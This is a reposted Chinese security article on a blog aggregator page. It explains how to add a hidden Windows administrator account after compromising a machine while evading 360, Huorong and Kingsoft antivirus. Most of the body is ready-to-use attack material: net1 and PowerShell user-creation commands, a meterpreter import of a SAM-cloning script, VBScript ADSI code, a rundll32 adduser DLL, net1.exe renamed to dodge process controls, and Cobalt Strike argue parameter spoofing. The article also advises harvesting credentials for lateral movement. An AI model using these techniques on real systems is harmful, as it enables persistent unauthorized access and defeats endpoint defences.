Sec Hotspot 首页  排行榜  收藏本站  技术博客  RSS
统计信息
已收录文章数量:17788 篇
已收录公众号数量:91 个
本站文章为爬虫采集,如有侵权请告知
已收录微信公众号
阿里云先知 网安寻路人 网信中国 区块链大本营 白说区块链 区块链投资家 区块链官微 区块链铅笔Blockchain HACK学习呀 二道情报贩子 合天智汇 小白帽学习之路 小米安全中心 弥天安全实验室 SAINTSEC SecPulse安全脉搏 TideSec安全团队 360安全卫士 游侠安全网 计算机与网络安全 安全祖师爷 安全学习那些事 腾讯安全联合实验室 黑客技术与网络安全 安全圈 腾讯御见威胁情报中心 Python开发者 Python之禅 编程派 Python那些事 Python程序员 安全威胁情报 吾爱破解论坛 行长叠报 安在 i春秋 嘶吼专业版 E安全 MottoIN 网信防务 网安杂谈 数说安全 互联网安全内参 漏洞战争 安全分析与研究 邑安全 ChaMd5安全团队 天融信阿尔法实验室 安全牛 SecWiki 安全学术圈 信安之路 漏洞感知 浅黑科技 Secquan圈子社区 奇安信集团 奇安信 CERT 国舜股份 雷神众测 盘古实验室 美团安全应急响应中心 瓜子安全应急响应中心 顺丰安全应急响应中心 蚂蚁金服安全响应中心 携程安全应急响应中心 滴滴安全应急响应中心 字节跳动安全中心 百度安全应急响应中心 腾讯安全应急响应中心 网易安全应急响应中心 OPPO安全应急响应中心 京东安全应急响应中心 Bypass CNNVD安全动态 安恒应急响应中心 天融信每日安全简报 奇安信威胁情报中心 看雪学院 黑白之道 水滴安全实验室 安全客 木星安全实验室 云鼎实验室 绿盟科技安全预警 白帽汇 深信服千里目安全实验室 腾讯玄武实验室 长亭安全课堂 FreeBuf 绿盟科技 nmask
绕过反病毒添加管理员用户小结
本文来自公众号:SecPulse安全脉搏   2021.01.14 17:55:15


声明: 该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

0x01 前言

我们在后渗透中时常会遇到这样的环境,即使成功拿到了目标机器的Admin/System权限后也不能添加用户和管理员组,出现这种情况的原因有很多,如:UAC、WAF、反病毒软件或者是net.exe降权和安全组策略中的软件限制、应用程序控制策略等。


0x02 反病毒禁止添加用户

360杀毒:
  • 查看防护状态->主动防御->7层系统防护->进程防护

360卫士:

  • 防护中心->7层系统防护->系统防护体系->进程防护

火绒安全软件:

  • 防护中心->系统防护->系统加固->敏感动作防护

金山毒霸:

  • 实时保护->7层系统保护->程序运行保护


注: 毒霸仅支持PC用户(XP/Vista/Win7/8/10),不支持在服务器操作系统上使用。


添加管理员用户命令:

net user betasec 3had0w!@#123 /addnet localgroup administrators betasec /add



0x03 绕过反病毒添加用户

火绒、360卫士、金山毒霸等反病毒软件主要是针对Net.exe、Net1.exe和添加用户行为进行防护,但是并没有对添加管理组行为进行防护,所以我们只需要绕过Net.exe、Net1.exe和添加用户行为就可以了。

(1) UserClone克隆管理员用户

工具使用过于简单,自己看下参数就好,就不去详细写了,主要还是分享一些方法。

UserClone.exe工具或者Create-Clone.ps1脚本post/windows/manage/rid_hijack(RID劫持攻击)post/windows/manage/enable_support_account(针对XP和2003

还有一个克隆 SAM注册表的Powershell脚本Create-Clone.ps1,不过 360安全卫士的进程防护 会对我们调用 Powershell.exe执行ps1脚本的行为进行拦截。


虽然会被拦截,但是我们还是可以在Powershell下执行这个ps1脚本,后边我们也会讲如何去绕过反病毒的进程防护和敏感动作防护来执行Powershell。

meterpreter > use powershellmeterpreter > powershell_import "/var/www/html/Create-Clone.ps1"meterpreter > powershell_shellPS > Create-Clone -u betasec -p 3had0w!@#123

(2) Powershell添加管理员用户

New-LocalUser、Add-LocalGroupMember为Windows10/2016及以上操作系统Powershell5.1中的Microsoft.PowerShell.LocalAccounts模块内置命令,可用来添加用户和管理员组,更多命令请参考微软文档。

  • https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.localaccounts


这种方式虽能绕过360卫士和金山毒霸的Net.exe添加用户行为,但是在测试过程中发现有时在Cmdshell下直接执行以下命令可能会出现“PowerShell命令执行攻击”拦截。

New-LocalUser betasec -Password (ConvertTo-SecureString -String 'pass!@#!23' -AsPlainText -Force)Add-LocalGroupMember -Group "administrators" -Member "betasec"

(3) Vbscript API 添加管理员用户

1. API_Shell.Users组件

  • XP/Win2k3

Set o=CreateObject( "Shell.Users" )Set z=o.create("betasec")z.changePassword "pass!@#!23",""z.setting("AccountType")=3

2. ADSI_WinNT对象

  • XP/Win2k3/Win7/Win2k8/Win8/Win10/2012/2016

set wsnetwork=CreateObject("WSCRIPT.NETWORK")os="WinNT://"&wsnetwork.ComputerNameSet ob=GetObject(os)Set oe=GetObject(os&"/Administrators,group")Set od=ob.Create("user","betasec")od.SetPassword "pass!@#!23"od.SetInfoSet of=GetObject(os&"/betasec",user)oe.add os&"/betasec"

(4) Windows API 添加管理员用户

项目地址: https://github.com/newsoft/adduser ,在编译EXE、DLL时需要先手动添加ADVAPI32.lib、NETAPI32.lib两个库,否则可能会出现报错,执行adduser.dll时是没有回显的。

  • 项目属性->链接器->输入->附加依赖项->ADVAPI32.lib、NETAPI32.lib

  • 项目属性->常规->配置类型->动态库(.dll)

C:\Users\*******\Desktop\Add-User> adduser.exeC:\Users\*******\Desktop\Add-User> rundll32.exe adduser.dll,CreateAdminUserUsername:90sec$  Password:pass!@#!23

(5) Copy Net1.exe添加管理员用户

只能拷贝System32和SysWOW64目录下的net1.exe,net.exe不行哦,而且也只能绕过火绒安全软件和服务器安全狗的进程行为控制(net.exe、net1.exe),360卫士和金山毒霸会拦截。

copy c:\windows\system32\net1.exe C:\ProgramData\net1.txtC:\ProgramData\net1.txt user 90sec$ pass!@#!23 /add & C:\ProgramData\net1.txt localgroup administrators 90sec$ /add

(6) Cobaltstrike argue进程参数欺骗

argue进程参数欺骗后可使用run或execute来执行net1命令添加一个管理员用户,全程无拦截,而用shell执行net1命令时仍然会被拦截,因为它还是通过创建一个cmd.exe子进程来执行的。

argue 进程参数欺骗argue [command] [fake arguments]argue 命令 假参数 欺骗某个命令参数argue [command]argue 命令 取消欺骗某个命令参数
beacon> argue net1 /bypassbypassbypassbypassbypassbypassbypassbypassbypassbypassbypassbypassbypassbeacon> run net1 user betasec 3had0w!@#123 /add beacon> run net1 localgroup administrators betasec /add

注意事项:

(1) 个人建议直接获取目标机器的明文密码和哈希值,可以利用这些用户密码信息继续进行横向渗透。并不推荐直接添加管理员用户和修改默认管理员用户的密码,因为这样非常容易被发现,常规检测隐藏用户方式和各种WAF、反病毒、安全设备的拦截日志中都能看出被入侵的痕迹。


(2) 方法是死的,但人是活的,在实战中只要灵活运用还是很容易绕过的。D盾、云锁、护卫神、服务器安全狗等WAF软件主要对Administrators管理组进行防护(默认状态),服务器安全狗也可以设置对Net.exe、Net1.exe程序和SAM注册表进行防护,这样能更好的防止被添加管理员用户。


(3) 还有就是一些WAF对“执行系统命令”的防护,如:D盾不允许在w3wp.exe下创建子进程,网站安全狗的禁止IIS执行程序(仅允许带有白名单参数执行命令),云锁的操作系统加固(对w3wp.exe进程防护,不允许在IIS的Webshell下执行添加用户和管理组)等等,不过都是可以绕过的。